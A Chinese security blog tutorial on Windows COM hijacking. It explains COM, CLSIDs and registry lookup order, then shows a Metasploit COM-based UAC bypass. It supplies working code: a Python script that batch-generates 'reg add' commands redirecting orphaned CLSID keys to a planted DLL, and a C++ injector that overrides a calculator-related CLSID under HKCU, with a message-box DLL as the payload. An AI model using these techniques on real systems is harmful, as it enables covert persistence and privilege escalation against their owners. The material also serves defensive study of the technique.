Drunkmars's Blog

初探com劫持

字数统计: 3.1k阅读时长: 12 min
2021/10/07

本文将分析并实现com劫持。

何为com

COM是Component Object Model (组件对象模型)的缩写。

COM是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。

COM是开发软件组件的一种方法。组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。开发自定义的COM组件就如同开发动态的,面向对象的API。多个COM对象可以连接起来形成应用程序或组件系统。并且组件可以在运行时刻,在不被重新链接或编译应用程序的情况下被卸下或替换掉。Microsoft的许多技术,如ActiveX, DirectX以及OLE等都是基于COM而建立起来的。并且Microsoft的开发人员也大量使用COM组件来定制他们的应用程序及操作系统。

这里有一个问题,为什么要用com组件呢?

com组件主要是解决了代码共用以及版本问题、能够调用其他软件的功能、所有代码都能够面向对象

com与注册表的关系

注册表大家都应该比较熟悉,他主要具有一些特殊的数据类型来存储一些数据满足应用程序的需要,主要有以下几个

HKEY_CLASSES_ROOT 用于存储一些文档类型、类、类的关联属性

HKEY_CURRENT_CONFIG 用户存储有关本地计算机系统的当前硬件配置文件信息

HKEY_CURRENT_USER 用于存储当前用户配置项

HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存储当前用户对计算机的配置项

HKEY_LOCAL_MACHINE 用于存储当前用户物理状态

HKEY_USERS 用于存储新用户的默认配置项

CLSID

class identifier(类标识符)也称为CLASSID或CLSID,是与某一个类对象相联系的唯一标记(UUID)。一个准备创建多个对象的类对象应将其CLSID注册到系统注册数据库的任务表中,以使客户能够定位并装载与该对象有关的可执行代码。

当初微软设计com规范的时候,有两种选择来保证用户的设计的com组件可以全球唯一:

第一种是采用和Internet地址一样的管理方式,成立一个管理机构,用户如果想开发一个COM组件的时候需要向该机构提出申请,并交一定的费用。

第二种是发明一种算法,每次都能产生一个全球唯一的COM组件标识符。

第一种方法,用户使用起来太不方便,微软采用第二种方法,并发明了一种算法,这种算法用GUID(Globally Unique Identifiers)来标识COM组件,GUID是一个128位长的数字,一般用16进制表示。算法的核心思想是结合机器的网卡、当地时间、一个随即数来生成GUID。从理论上讲,如果一台机器每秒产生10000000个GUID,则可以保证(概率意义上)3240年不重复。

也就是说CLSID就是对象的身份证号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的。比如我的电脑的CLSID就为{20D04FE0-3AEA-1069-A2D8-08002B30309D},控制面板的CLSID就为{21EC2020-3AEA-1069-A2DD-08002B30309D}

CLSID的路径位于HKEY_CLASSES_ROOT\CLSID

image-20211007103736232

CLSID其实是一个结构体,结构如下

1
2
3
4
5
6
7
8
typedef struct _GUID {
DWORD Data1; // 随机数
WORD Data2; // 和时间相关
WORD Data3; // 和时间相关
BYTE Data4[8]; // 和网卡MAC相关
} GUID;
typedef GUID CLSID; // 组件ID
typedef GUID IID; // 接口ID

com劫持

前面说了这么多的基础知识来到今天的正文,首先要了解com组件的加载过程,com组件会根据以下路径去寻找

HKCU\Software\Classes\CLSID

HKCR\CLSID

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\

那么我们如果想要进行com劫持,肯定挑选的是首先寻找的路径,即HKCU\Software\Classes\CLSID ,我们可以直接在CLSID下新建一个对象ID,与dll劫持不同的是,dll劫持只能劫持dll,局限性比较大,但是com组件能够劫持如.com文件、pe文件、api文件等等

COM对象是注册表中对磁盘上没有实现文件的对象的引用。例如,在注册表项HKCU \ CLSID \ {xxxx} \ InprocServer32 \ Default下,其中{xxxx}是COM对象的相应GUID,您应该找到对文件yyy.dll的引用。如果磁盘上不存在此文件或缺少“(默认)”条目,则请求访问此对象的进程将失败。

那么这可以衍生出两种思路,第一种思路就是寻找被“遗弃“的com键进行劫持,那么何为被”遗弃”的com键呢?

在一些程序卸载后,注册表内的com键会被遗留下来,即处于为注册的状态,这个com键会指向一个路径里面的dll,但是因为这个程序已经被卸载了,所以肯定是找不到这个dll的,那么这里我们就可以修改这个com键指向的路径来完成我们自己dll的加载0

第二种思路就是覆盖COM对象,在HKCU注册表中添加正确的键值后,当引用目标COM对象时,HKLM中的键值就会被覆盖(并且“添加”到HKCR中)。

实现com劫持

之前在实战的过程中在msf上拿到了user权限的shell,但是直接getsystem不能够提到系统权限,用到了bypassuac之后得到了系统权限的dll,那么这里首先看一下msf是怎么实现com劫持bypassuac的

首先拿到一个shell直接getsystem提权失败

image-20211007153657320

然后使用com组件bypassuac

image-20211007153712222

首先我把uac调到最高

image-20211007153759773

发现这里报错,因为UAC is set to Always Notify,也就是说最高级的uac好像绕不过

image-20211007153830082

然后我把uac调整到默认级别

image-20211007153930097

发现msf劫持的是HKCU\Software\classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931},dll的位置在C:\Users\messi \AppData\Local\Temp\LlvIwfwd.dll

image-20211007154000972

那么思路就清晰了,我们就需要修改注册表,然后让注册表的路径指向我们存放dll的路径即可

利用缺失的CLSID

这里我选择的是对计算器进行com劫持,首先找一下缺少的CLSID并在InprocServer32

image-20211007161245813

找到了几个能够劫持的com组件

image-20211007161253358

保存并导出为Logfile.CSV

image-20211007161302270

然后写一个py脚本,批量循环添加注册表指向dll路径并生成一个com_hijack.bat

1
reg add [PATH] /ve /t REG_SZ /d C:\\Users\\Administrator\\testdll.dll /f

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import csv

class Inject(object):
def __init__(self):
self.path='Logfile.CSV'

def add(self):
with open(self.path,'r',encoding='utf-8') as r:
g=csv.DictReader(r)
for name in g:
z=[x for x in name]
for i in z:
if 'HK' in str(name[i]):
print('reg add {} /ve /t REG_SZ /d C:\\Users\\Administrator\\Desktop\\testdll.dll /f'.format(name[i]),file=open('com_hijack.bat','a',encoding='utf-8'))

if __name__ == '__main__':
obj=Inject()
obj.add()
print('[!] Administrator run com_hijack.bat')

执行py

image-20211007161733935

即在目录下生成一个com_hijack.bat,使用管理员权限运行

image-20211007161744052

设置过滤条件发现已经成功劫持

image-20211007161756522

覆盖存在的CLSID

这里覆盖存在的CLSID就需要尽可能挑选应用范围广的,这里选择计算器进行劫持,对应的CLSID为{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},这个CLSID可以实现对CAccPropServicesClassMMDeviceEnumerator实例的劫持

进行注册表的创建用到的api为RegCreateKeyExA,结构如下

1
2
3
4
5
6
7
8
9
10
11
LONG RegCreateKeyEx(
HKEY hKey, // handle to open key
LPCTSTR lpSubKey, // subkey name
DWORD Reserved, // reserved
LPTSTR lpClass, // class string
DWORD dwOptions, // special options
REGSAM samDesired, // desired security access
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // inheritance
PHKEY phkResult, // key handle
LPDWORD lpdwDisposition // disposition value buffer
);

hkey:注册表的句柄

lpSubKey:此函数打开或创建的子项的名称,不能为NULL

Reserved:保留参数,必须为0

lpClass:该键的用户定义类类型。可以忽略此参数。此参数可以为NULL

dwOptions:有几个参数,这里就不写了

samDesired:指定要创建的密钥的访问权限的掩码

lpSecurityAttributes:指向SECURITY_ATTRIBUTES结构的指针

phkResult:指向接收打开或创建的键的句柄的变量的指针

lpdwDisposition:指向接收处置值之一的变量的指针

函数执行成功则返回ERROR_SUCCESS,函数执行失败则为非零错误代码

修改注册表的属性用到的api为RegSetValueExA

1
2
3
4
5
6
7
8
LSTATUS RegSetValueExW(
HKEY hKey,
LPCWSTR lpValueName,
DWORD Reserved,
DWORD dwType,
const BYTE *lpData,
DWORD cbData
);

hkey:注册表的句柄

lpValueName:要设置的值的名称

Reserved:保留值,必须为0

dwType:lpData参数指向的数据类型

lpData:要存储的数据

cbData:lpData参数指向的信息的大小,以字节为单位

函数执行成功则返回 ERROR_SUCCESS,函数执行失败则返回非零错误代码

那么首先使用RegCreateKeyExA创建注册表

1
2
3
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

再用RegCreateKeyExA设置DLL文件的属性

1
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1)))

然后再设置InprocServer32下的ThreadingModel属性,这里我们随便打开一个CLSID里面的InprocServer32文件夹,发现都是由一个dll文件的路径 + 一个ThreadingModel组成的,这个ThreadingModel键值是用来标记dll的线程模型,它代表容纳此COM 类的载体应当是一个动态链接库,对应的值就为Apartment

image-20211007163851968

那我们定义一个数组,再修改ThreadingModel的值即可完成InprocServer32属性的修改

1
2
3
char system2[] = "Apartment";

RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2)))

对应的,我们进行com劫持完成之后,也需要写一个卸载的代码,这里就不细说了直接贴上来,跟前面的思路差不多,使用到RegDeleteValueA删除注册表属性即可,代码如下

1
2
3
4
5
6
7
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)

RegDeleteValueA(hKey, NULL)

RegDeleteValueA(hKey, "ThreadingModel")

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// COMInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <string>
using namespace std;

BOOL COMInject()
{
HKEY hKey;
DWORD dwDisposition;
char system1[] = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
char system2[] = "Apartment";
string defaultPath = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
string szSaveName = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
{

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
printf("创建注册表失败!");
return 0;
}

if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))
{
printf("设置DLL文件失败!");
return 0;
}

if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))
{
printf("设置ThreadingModel失败!");
return 0;
}

::MessageBoxA(NULL, "comInject OK", "", MB_OK);
}
}

BOOL UnCOMInject()
{
HKEY hKey;
DWORD dwDisposition;

string defaultPath = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
string szSaveName = "C:\\Users\\messi\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
printf("创建注册表失败!");
return 0;
}

if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
{
printf("移除DLL文件失败!");
return 0;
}

if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))
{
printf("移除ThreadingModel失败!");
return 0;
}

remove(szSaveName.c_str());
remove(defaultPath.c_str());

::MessageBoxA(NULL, "Delete comInject OK", "", MB_OK);
}
int main(int argc, char* argv[])
{
COMInject();

//UnCOMInject();

return 0;
}

这里就生成一个最简单的弹窗吧,dll代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>


BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(0, "comInject OK", "", 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

首先以管理员权限执行COMInject.exe

image-20211007172056485

然后进入C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer路径发现创建了{BCDE0395-E52F-467C-8E3D-C4579291692E}这个文件夹

image-20211007165621045

再进入文件夹发现有comInject.dll

image-20211007165629229

再去注册表里面看一下

image-20211007172309813

发现已经改成了dll存放的路径

image-20211007172322817

image-20211007172439724

打开计算器即可实现com劫持

image-20211007193309375

CATALOG
  1. 1. 何为com
  2. 2. com与注册表的关系
  3. 3. com劫持
  4. 4. 实现com劫持
    1. 4.1. 利用缺失的CLSID
    2. 4.2. 覆盖存在的CLSID